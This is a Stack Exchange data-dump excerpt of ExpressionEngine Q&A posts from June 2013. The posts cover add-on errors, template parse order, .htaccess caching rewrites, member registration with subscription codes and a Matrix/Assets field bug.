  <row Id="11293" PostTypeId="1" CreationDate="2013-06-17T11:00:22.250" Score="1" ViewCount="98" Body="&lt;p&gt;Good day dear community. I have a problem when you install the store. at the entrance to the tab store -&gt; inventory, gives me dosing errors. text Errors:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;&#xA;Severity: Notice&#xA;&#xA;Message: Undefined property: Addons_modules::$api&#xA;&#xA;Filename: core/Model.php&#xA;&#xA;Line Number: 50&#xA;&#xA;&#xA;Fatal error: Call to a member function instantiate() on a non-object in /home2/softsltn/public_html/pdq2/system/expressionengine/third_party/store/models/store_model.php on line 611&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;thank you in advance for your help&lt;/p&gt;&#xA;" OwnerUserId="1668" LastEditorUserId="153" LastEditDate="2013-06-24T04:30:18.657" LastActivityDate="2013-09-22T05:45:51.870" Title="PHP error on the Expresso Store inventory tab" Tags="|expresso-store|error|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11295" PostTypeId="2" ParentId="11279" CreationDate="2013-06-17T12:11:10.630" Score="2" Body="&lt;p&gt;I've done this sort of thing before myself using two channels - one for the media postings and one for series (the series itself being an entry can be extremely useful, since you can describe it, have its own custom fields, etc.) and then use a relationship to tie the media messages to a series if applicable.  Whether you need the relationship to be one to one or one to many is something you would have to decide - one to many (or even many to many) can give you a fair bit more flexibility over time, potentially. I haven't tried this with the new relationship field in 2.6+ - I have instead done this in the past with earlier versions of EE with Playa.  The benefit there is not only the many to many fieldtype but the filtering options that are available within the field type - keyword within the title, category or status are useful for the admin to filter to the right media entries.  So you would place the Playa field within the custom field group for the media messages.  You would just need to ensure that the series to which the media message belongs is already an entry.  Then a media message, when being entered, simply gets assigned to one or more series if applicable.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-06-17T12:11:10.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11296" PostTypeId="2" ParentId="11291" CreationDate="2013-06-17T12:50:42.657" Score="2" Body="&lt;p&gt;With a custom extension, you could. Just use the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/module/comment/index.html#insert-comment-end&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;insert_comment_end&lt;/code&gt; hook&lt;/a&gt;, then do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(ee()-&amp;gt;input-&amp;gt;is_ajax_request())&#xA;{&#xA;    ee()-&amp;gt;extensions-&amp;gt;end_script = TRUE;&#xA;    $data['comment_id'] = $comment_id;&#xA;    $data['moderated'] = $comment_moderate;&#xA;    echo json_encode($data);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-06-17T12:50:42.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11297" PostTypeId="2" ParentId="11278" CreationDate="2013-06-17T13:01:43.170" Score="1" Body="&lt;p&gt;Playa doesn’t actually convert your template code – the EE 2.6 upgrade does. Back before Playa 4, Playa just piggybacked on EE’s relationships system, and thus, used the same &lt;code&gt;{reverse_related_entries}&lt;/code&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you had just upgraded to Playa 4 but not upgraded EE, your templates would not have been messed with, and you would have had to go in and manually changed any &lt;code&gt;{reverse_related_entries}&lt;/code&gt; tags to &lt;code&gt;{exp:playa:parents}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you upgraded to EE 2.6, EE assumed that your &lt;code&gt;{reverse_related_entries}&lt;/code&gt; tags were for Relationship fields, so it converted them to &lt;code&gt;{parents}&lt;/code&gt; (or tried to, anyway). Changing those to &lt;code&gt;{exp:playa:parents}&lt;/code&gt; tags should get your site back up and running.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2013-06-17T13:01:43.170" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11298" PostTypeId="1" CreationDate="2013-06-17T13:21:34.670" Score="0" ViewCount="109" Body="&lt;p&gt;I'm successfully using the technique covered in this question: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/7437/simple-html-file-field-uploads-with-assets-and-safecracker&quot;&gt;Simple HTML file field uploads with Assets and Safecracker&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fieldset&amp;gt;&#xA;   &amp;lt;label for=&quot;event_url&quot;&amp;gt;URL&amp;lt;/label&amp;gt;&#xA;   &amp;lt;input name=&quot;event_url&quot; id=&quot;event_url&quot; type=&quot;text&quot; placeholder=&quot;http://&quot; /&amp;gt;&#xA;   &amp;lt;label for=&quot;event_upload&quot;&amp;gt;Upload a File&amp;lt;/label&amp;gt;&#xA;   &amp;lt;input type=&quot;file&quot; name=&quot;event_upload&quot; /&amp;gt; &amp;lt;input type=&quot;hidden&quot; name=&quot;event_upload_filedir&quot; value=&quot;2&quot; /&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works, but it seems to be uploading the file twice. Here's my output code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;check: {event_upload:total_files}&#xA;{if &quot;{event_upload:total_files}&quot;!=''}&amp;lt;p&amp;gt;&amp;lt;b&amp;gt;Download:&amp;lt;/b&amp;gt; {event_upload backspace=&quot;2&quot;}&amp;lt;a href=&quot;{url}&quot;&amp;gt;{filename}&amp;lt;/a&amp;gt;, {/event_upload}&amp;lt;/p&amp;gt;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That results in this in my web page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;check: 2&#xA;&#xA;Download: TEST2_1.pdf, TEST2_1.pdf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I check the entry in the Control Panel, it only displays 1 file. If I save the entry via the Control Panel, the issue is corrected, and only 1 file is output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; If I save the entry via my Safecracker Edit form, with the same field code, nothing changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any solutions for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.5.2 (I'm not in a position to upgrade presently)&lt;br&gt;&#xA;Assets 2.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="293" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-06-17T13:27:49.217" Title="Assets in Safecracker: File uploads twice" Tags="|safecracker|file-uploads|assets|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11299" PostTypeId="2" ParentId="11288" CreationDate="2013-06-17T15:09:25.090" Score="1" Body="&lt;p&gt;Would using {field:my_field_name} work in your case?&lt;/p&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2013-06-17T15:09:25.090" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11301" PostTypeId="1" AcceptedAnswerId="11303" CreationDate="2013-06-17T16:28:38.030" Score="0" ViewCount="175" Body="&lt;p&gt;I'm trying to port a table to a channel. Can anyone tell me the basics of what's involved? So far what I think is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Insert record into exp_channel_titles&#xA;2) Get entry_id that was just generated for 1)&#xA;3) Insert record into exp_channel_data with entry_id from 2)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that it? I'm not sure if any more relationships exist. Thanks for your time.&lt;/p&gt;&#xA;" OwnerUserId="1327" LastActivityDate="2013-06-17T17:02:28.617" Title="How do insert channel entry via SQL?" Tags="|channel|entry|entryid|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11302" PostTypeId="1" CreationDate="2013-06-17T16:47:33.303" Score="0" ViewCount="118" Body="&lt;p&gt;I am working on a site running EE 2.6.1 and wygwam 2.7.1 and I am getting the following error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A script on this page may be busy, or it may have stopped responding.&#xA;  You can stop the script now, open the script in the debugger, or let&#xA;  the script continue.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Script:&#xA;  &lt;a href=&quot;http://www.responsivehomehealth.com/themes/third_party/wygwam/lib/ckeditor/ckeditor.js:29&quot; rel=&quot;nofollow&quot;&gt;http://www.responsivehomehealth.com/themes/third_party/wygwam/lib/ckeditor/ckeditor.js:29&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I reloaded the wygwam themes folder but the error persists. Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2013-06-17T16:47:33.303" Title="Why do I get an Unresponsive Script Error on Wygwam fields?" Tags="|wygwam|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11303" PostTypeId="2" ParentId="11301" CreationDate="2013-06-17T17:02:28.617" Score="1" Body="&lt;p&gt;Yes, that is it for a basic channel entry. If your channel has categories or relationship fields, or any advanced third-party fieldtypes (such as Matrix or Playa), there will be more inserts required.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-06-17T17:02:28.617" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11304" PostTypeId="1" CreationDate="2013-06-17T17:39:09.237" Score="1" ViewCount="130" Body="&lt;p&gt;I'm working on a site that uses Expresso Store for e-commerce. The store itself seems to work fine, however there are templates that use exp:user to register and update a user's profile that are not working as intended - upon submitting the register or update form, the page redirects to a blank page and does not register the user or update profiles of existing users. It seems at this point to be some conflict with Expresso Store, but I'm not sure where...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site uses an SSL certificate for all sections, and both register and edit profile forms have secure_action=&quot;yes&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Expression Engine build is 2.5.5, Store is 1.6.4, and User is 3.3.9. Any help would be greatly appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: The .htaccess file:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Solspace Static Page Caching: Site #1&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;RewriteBase //www.vandykblueberries.ca/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;RULE #1 - gzip&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;## Accepts GZ output&#xA;RewriteCond %{HTTP:Accept-Encoding} gzip&#xA;&#xA;## Ignore POST requests&#xA;RewriteCond %{REQUEST_METHOD} !=POST&#xA;&#xA;## Ignore EE Query requests&#xA;RewriteCond %{QUERY_STRING} !^(css|ACT)&#xA;&#xA;## Override Cookie That Disables Caching&#xA;RewriteCond %{HTTP:Cookie} !^.*(static_page_caching_override).*$&#xA;&#xA;## Override Segment for ToolBar&#xA;RewriteCond $1 !spc_override/*$&#xA;&#xA;## Remove the index.php from the next conditional check, neutralize slashes&#xA;RewriteCond $1 ^(index.php/)*(.*)(/*)$&#xA;&#xA;## Cache File Exists?&#xA;RewriteCond /home/vandykbl/www/manage/expressionengine/cache/1/$2/index.html.gz -f&#xA;&#xA;## Redirect to Cache File&#xA;RewriteRule ^(index.php/*)*(.*)(/*) //www.vandykblueberries.ca/cache/1/$2/index.html.gz [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;RULE #2 - normal&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;## Ignore POST requests&#xA;RewriteCond %{REQUEST_METHOD} !=POST&#xA;&#xA;## Ignore EE Query requests&#xA;RewriteCond %{QUERY_STRING} !^(css|ACT)&#xA;&#xA;## Override Cookie That Disables Caching&#xA;RewriteCond %{HTTP:Cookie} !^.*(static_page_caching_override).*$&#xA;&#xA;## Override Segment for ToolBar&#xA;RewriteCond $1 !spc_override/*$&#xA;&#xA;## Remove the index.php from the next conditional check, neutralize slashes&#xA;RewriteCond $1 ^(index.php/)*(.*)(/*)$&#xA;&#xA;## Cache File Exists?&#xA;RewriteCond /home/vandykbl/www/manage/expressionengine/cache/1/$2/index.html -f&#xA;&#xA;## Redirect to Cache File&#xA;RewriteRule ^(index.php/*)*(.*)(/*) //www.vandykblueberries.ca/cache/1/$2/index.html [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;RULE #3 - Remove SPC Override Segment from URI&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^(.+)/spc_override$ //www.vandykblueberries.ca/$1 [L] &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;END Solspace Static Page Caching: Site #1&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&#xA;        RewriteEngine On&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    # Removes index.php from ExpressionEngine URLs&#xA;    RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xA;    RewriteRule ^(.*)$ /index.php?/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;" OwnerUserId="1670" LastEditorUserId="1670" LastEditDate="2013-07-02T15:18:45.640" LastActivityDate="2013-11-01T22:18:46.513" Title="User registration and profile changes do not work on site with Expresso Store" Tags="|expresso-store|users|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11305" PostTypeId="1" AcceptedAnswerId="11397" CreationDate="2013-06-17T18:08:31.897" Score="1" ViewCount="1460" Body="&lt;p&gt;I have a plugin that allows you to set and store cookies using EE tags (so you don't have to enable PHP in your templates).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, I can't get the tag to parse the cookie value within a channel tag: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;misc{exp:cookie:retrieve name=&quot;exp_lang&quot;}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="897" LastActivityDate="2013-06-20T20:20:49.220" Title="Using Plugin Tags Within Channel Tags" Tags="|channel-entries|parse-order|cookies|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11306" PostTypeId="2" ParentId="11305" CreationDate="2013-06-17T18:30:47.870" Score="4" Body="&lt;p&gt;This is a parse order issue - your Channel Entries tag is being parsed before your custom plugin tag, so you're actually passing &lt;code&gt;misc{exp:cookie:retrieve name=&quot;exp_lang&quot;}&lt;/code&gt; as the &lt;code&gt;channel&lt;/code&gt; parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you need to do is turn your plugin into a tag pair, so it works like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cookie:retrieve name=&quot;exp_lang&quot; parse=&quot;inward&quot;}&#xA;    {exp:channel:entries channel=&quot;misc{exp_lang}&quot;}&#xA;    ...&#xA;    {/exp:channel:entries}&#xA;{/exp:cookie:retrieve}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In your plugin you'd do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$vars = array('exp_lang' =&amp;gt; 'en');&#xA;return $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables_row($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata, $vars);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-06-17T18:30:47.870" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11307" PostTypeId="1" AcceptedAnswerId="11327" CreationDate="2013-06-17T19:33:11.030" Score="1" ViewCount="265" Body="&lt;p&gt;One of my matrix cells for the caption/description is set to NONE formatting. Sometimes, editors will put in quote marks which confuses my html code. How do I convert any special chars like the qoute mark to html entities? A bit like PHP's htmlspecialchars or htmlentities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="789" LastActivityDate="2013-06-18T13:03:08.480" Title="How can I convert special chars into html entities" Tags="|matrix|text-formatting|html-entities|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11308" PostTypeId="1" CreationDate="2013-06-17T19:36:06.117" Score="1" ViewCount="522" Body="&lt;p&gt;This one is a doozy for me, and I really need some input / advice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I have a client who runs an independent magazine, and they use a system that can output a list of subscribers, and their account numbers in a CSV file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm doing the online version of their magazine using expression engine. When each reader is sent their magazine, attached will be an account number.  The client wants them to be able to register on the site, and input their print subscription account number at registration. At this time, they want the system to compare the account number they enter, to the active list of account numbers. If they've entered a valid print account number, then they'll be granted access to the special members-only content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to figure out the best way to approach this, because I'm trying to marry two unrelated systems, and it's not negotiable - this is how they want to do it. The subscriber list must come in from their subscription system, and the reader must have their print magazine before they can validly login and create an account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They also want it so that if a user's print account number becomes non-active (aka, they no longer subscribe to the magazine), then their account should also be demoted to a lower level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've had a few thoughts and approaches - all of them have an issue or big challenge of some sort:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Somehow, import all the current account numbers from the CSV, and save them as channel entries. Then, upon registration, user enters their account number into a custom field, which then somehow &quot;checks&quot;, and if it's a valid registration, change their member group. If an account number is removed from the &quot;valid&quot; list, then the member will need to be downgraded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Every day, the administrator will use the CSV file to &quot;import&quot; members. As in, accounts will be automatically created and the subscription account number itself will be used AS the username, with a standard password. They like this idea, but they say that in this case they'd want the user to be able to change their username to a friendly name, rather than existing as numbers like the Borg.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the above case, I'd have to write some sort of script that creates user accounts, and, if necessary, looks for the CHANGE in active subscriptions.  Meaning, if you are user 323423, and then one day the admin import shows that account number as missing (no longer active), then downgrade the account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fundamentally, I think, I understand the process flow, but I have no idea how to code any of this.. user creation.. validation... cross referencing from a channel data source (magazine subscription account numbers)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a frustrating cross of a few different sets of technology. I'm wondering if, perhaps, I'm missing something really straightforward? Or, if my above options are truly the directions I have to go, then HOW do I program this? (as in, example code?? - adding a member programatically? Or at registration time, adding in the subscription field validation? :) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked at the DB structure to see if I can &quot;hack&quot; this together, but the user (member) table really looks like it's very specifically managed by EE. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Glen&lt;/p&gt;&#xA;" OwnerUserId="1671" LastActivityDate="2013-06-18T08:09:44.707" Title="Need to programatically register users, and validate a code they enter" Tags="|members|registration|validation|users|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11309" PostTypeId="2" ParentId="11308" CreationDate="2013-06-17T19:43:15.877" Score="1" Body="&lt;p&gt;Without thinking about it too much I would just create a totally separate database table that contained all the valid subscription codes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then when a user wants to validate you can do a lookup from that table to find a matching ID. If you need to take it further you can then have that ID either stored in a custom member field or else store their member ID against the code within the separate table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe then run a cron job every day/week/month to perform a check and demote any accounts that no longer have active subscription IDs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like I said, I didn't think on it too much but I would probably avoid any tampering in the EE tables and keep the subscription stuff outside of EE then build some PHP scripts around the system (or get the publisher's systems to update the table as and when needed).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Looks like I missed the bit about registering the users. There was an API style add-on announced recently that might help. When I recall the name of it I will update this post. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: The API add-on I was thinking of is Open API &lt;a href=&quot;http://www.putyourlightson.net/open-api&quot; rel=&quot;nofollow&quot;&gt;http://www.putyourlightson.net/open-api&lt;/a&gt;  It may be of use to you for creating Members etc.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2013-06-18T08:09:44.707" LastActivityDate="2013-06-18T08:09:44.707" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11310" PostTypeId="2" ParentId="11308" CreationDate="2013-06-17T19:47:15.827" Score="1" Body="&lt;p&gt;I'd suggest using one of the two add-ons available for adding registration code functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is two commercial add-ons for this purpose out there that I can see: &lt;a href=&quot;http://devot-ee.com/add-ons/invitations&quot; rel=&quot;nofollow&quot;&gt;Invitations&lt;/a&gt; and &lt;a href=&quot;http://devot-ee.com/add-ons/registration-codes&quot; rel=&quot;nofollow&quot;&gt;Registration Codes&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't tried out either of them, and you'll still have to work on the import side, which shouldn't be too difficult. But at least these add-ons should handle the validation portion for you.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-06-17T19:47:15.827" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11311" PostTypeId="1" AcceptedAnswerId="11315" CreationDate="2013-06-17T19:52:28.300" Score="0" ViewCount="33" Body="&lt;p&gt;Good evening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to be able to add a note to each item in the cart that is not editable by the customer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can get a note to appear in the form of a text box, however they are always writable.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wondered if there is a way to disable the input on the View/Update cart page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am providing the note to the item via a little bit of PHP.&lt;/p&gt;&#xA;" OwnerUserId="1414" LastActivityDate="2013-06-18T00:08:05.300" Title="Cartthrob - Read Only Note in the Cart" Tags="|ee2|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11313" PostTypeId="1" CreationDate="2013-06-17T22:43:00.633" Score="0" ViewCount="970" Body="&lt;p&gt;I'm using a form in a web page that is standard html and css, NOT any kind of Exp Eng add-on tag set. Is there a way to use Exp Eng's captcha system directly in a webpage form like a typical Exp Eng tag? I've been using reCAPTCHA from Brandon Jones and like it a lot but it is an extension that automatically replaces the Exp Eng captcha. Can a simple add-on be written that uses the extension and embeds a captcha in the page?&lt;/p&gt;&#xA;" OwnerUserId="505" LastActivityDate="2013-06-18T12:27:15.580" Title="How can I use a captcha in a form that is not an add-on?" Tags="|forms|extension|captcha|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11314" PostTypeId="2" ParentId="11305" CreationDate="2013-06-17T22:57:44.950" Score="0" Body="&lt;p&gt;The value &lt;code&gt;inward&lt;/code&gt; can be used to parse data inside an opening variable too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;misc{exp:cookie:retrieve name='exp_lang'}&quot; parse=&quot;inward&quot;}&#xA;    [...]&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-06-17T22:57:44.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11315" PostTypeId="2" ParentId="11311" CreationDate="2013-06-18T00:08:05.300" Score="0" Body="&lt;p&gt;Its not foolproof but adding a hidden input would achieve  what you seek.&#xA;    &amp;lt; input type=hidden name=note id=note value=yourPHPcode &gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then inject your php code into the value. Or just wrap whatever you like in a hidden div.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS. You'll need to have a custom field in your orders channel that matches the hidden inputs name.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-06-18T00:08:05.300" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="11316" PostTypeId="1" CreationDate="2013-06-18T03:02:23.787" Score="2" ViewCount="966" Body="&lt;p&gt;I have a site where all the main navigation links (Top Navigation, footer nav and html sitemap page) link to URLs without a trailing slash, however the canonical tags for all pages end with trailing slash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to change all the links in the main navigation to link to pages with a trailing slash, or failing that change SEO lite to define a canonical without a trialing slash?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my first time using ExpressionEngine.&lt;/p&gt;&#xA;" OwnerUserId="1674" LastActivityDate="2013-06-29T00:36:22.750" Title="Define links with a trailing slash /" Tags="|url|seo|links|seo-lite|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11317" PostTypeId="2" ParentId="11316" CreationDate="2013-06-18T04:02:09.183" Score="0" Body="&lt;p&gt;There's no way -- that I'm aware of -- to force trailing slashes within EE itself. I would hardcode the trailing slashes into your navigation where possible and failing that use a rewrite rule within your .htaccess file to force it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{REQUEST_METHOD} !=POST&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.+[^/])$ /$1/ [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you're using something like &lt;a href=&quot;http://devot-ee.com/add-ons/structure&quot; rel=&quot;nofollow&quot;&gt;Structure&lt;/a&gt; or the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/pages/&quot; rel=&quot;nofollow&quot;&gt;Pages&lt;/a&gt; module, SEO Lite should use the matching url from the pages array. There's an old &lt;a href=&quot;https://getsatisfaction.com/addonbakery/topics/canonical_url_does_not_match_pages_url&quot; rel=&quot;nofollow&quot;&gt;support thread&lt;/a&gt; that explains the issue and subsequent updates to SEO Lite.&lt;/p&gt;&#xA;" OwnerUserId="975" LastEditorUserId="975" LastEditDate="2013-06-18T04:28:25.667" LastActivityDate="2013-06-18T04:28:25.667" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11318" PostTypeId="1" CreationDate="2013-06-18T05:16:00.457" Score="3" ViewCount="201" Body="&lt;p&gt;We've setup LV with a Matrix field, inside of which is an Assets field. When we submit the changes, these are written to the DB but when the page reloads, the Asset field is blank. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears this problem has happened before but the fix from back then seems to have become inaffective: &lt;a href=&quot;https://getsatisfaction.com/low/topics/assets_field_used_in_matrix_as_a_low_variable_doesnt_pull_information_from_db&quot; rel=&quot;nofollow&quot;&gt;https://getsatisfaction.com/low/topics/assets_field_used_in_matrix_as_a_low_variable_doesnt_pull_information_from_db&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is anyone able to help with this one? Our setup is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;EE 2.6.1  &lt;/li&gt;&#xA;&lt;li&gt;LV 2.3.5  &lt;/li&gt;&#xA;&lt;li&gt;Matrix 2.5.5  &lt;/li&gt;&#xA;&lt;li&gt;Assets 2.1.3&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Sam&lt;/p&gt;&#xA;" OwnerUserId="1676" LastActivityDate="2013-06-18T06:49:25.647" Title="Low Variables with Matrix and Assets" Tags="|matrix|assets|low-variables|bug|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11319" PostTypeId="2" ParentId="11318" CreationDate="2013-06-18T06:49:25.647" Score="2" Body="&lt;p&gt;try setting the &lt;code&gt;is_draft&lt;/code&gt; column in &lt;code&gt;exp_matrix_data&lt;/code&gt; table to NOT NULL with the default of 0. This will be fixed in the next Matrix version.&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2013-06-18T06:49:25.647" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
